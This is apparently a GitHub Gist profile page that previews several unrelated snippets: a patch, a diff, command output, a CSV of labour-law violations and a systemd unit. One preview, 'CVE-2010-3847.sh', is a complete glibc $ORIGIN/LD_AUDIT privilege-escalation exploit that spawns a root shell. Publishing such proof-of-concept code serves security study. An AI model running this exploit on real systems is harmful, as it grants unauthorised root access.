Skip to content

Instantly share code, notes, and snippets.

@hamano
hamano / README.md
Last active April 9, 2024 09:38
unzip 6.0 日本語化パッチ(Shift_JISファイル名などに対応)
npub1sccyq74jqx6t5l04a83d8h7cezt4765j5ztlws8p2ypy2tgv8sxsggcw4h
@hamano
hamano / revB-case-v6.stl
Created June 21, 2021 05:43
revB-case-v6.stl█
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
--- mlterm-3.8.8.orig/uitoolkit/ui_im_candidate_screen.c
+++ mlterm-3.8.8/uitoolkit/ui_im_candidate_screen.c
@@ -83,7 +83,7 @@ static u_int candidate_width(ui_font_man
width = 0;
ui_font_manager_set_attr(font_man, 0, 0);
- for (i = 0; i < candidate->filled_len; i++) {
+ for (i = 0; i < candidate->num_chars; i++) {
ui_font_t *font;
% curl -v -I http://ftp.jp.debian.org/debian/pool/main/c/cinnamon-settings-daemon/cinnamon-settings-daemon_3.6.2-1_amd64.deb
* Trying 133.5.166.3...
* TCP_NODELAY set
* Connected to ftp.jp.debian.org (133.5.166.3) port 80 (#0)
> HEAD /debian/pool/main/c/cinnamon-settings-daemon/cinnamon-settings-daemon_3.6.2-1_amd64.deb HTTP/1.1
> Host: ftp.jp.debian.org
> User-Agent: curl/7.52.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
We can make this file beautiful and searchable if this error is corrected: Unclosed quoted field in line 5.
企業・事業場名称,所在地,公表日,違反法条,事案概要,その他参考事項
いわみざわ農業協同組合,北海道岩見沢市,H28.10.4,"労働安全衛生法第21条
労働安全衛生規則第431条",はいの崩壊を防止する措置を講じることなく労働者に作業を行わせたもの,H28.10.4送検
(株)タムラ建設工業,北海道留萌市,H28.10.18,"労働安全衛生法第31条
労働安全衛生規則第653条",高さ6.8mの屋根の端に手すり等を設けることなく請負人の労働者に作業を行わせたもの,H28.10.18送検
西村建設,北海道留萌市,H28.10.18,"労働安全衛生法第21条
労働安全衛生規則第519条
労働者派遣法第45条",高さ6.8mの屋根の端に手すり等を設けることなく労働者に作業を行わせたもの,H28.10.18送検
小川重機土木(有),北海道旭川市,H28.10.19,"労働安全衛生法第21条
労働安全衛生規則第519条
% pkcs11-tool -L
Available slots:
Slot 0 (0x0): NTT Communications Corp. SCR3310-NTTCom USB SmartCard Reader [Ve
token label : User Authentication PIN (JPKI)
token manufacturer : JPKI
token model : PKCS#15 emulated
token flags : login required, token initialized, PIN initialized
hardware version : 0.0
firmware version : 0.0
serial num : 00000000
@hamano
hamano / CVE-2010-3847.sh
Created October 21, 2010 13:19
CVE-2010-3847
#!/bin/sh
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 999< /tmp/exploit/target
rm -rf /tmp/exploit/
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
[Unit]
Description = Riak
Wants=epmd.service
[Service]
Type = simple
ExecStart = /usr/local/riak/bin/riak console -noshell
ExecStop = /usr/local/riak/bin/riak stop
Restart = always
Environment = HOME=/home/riak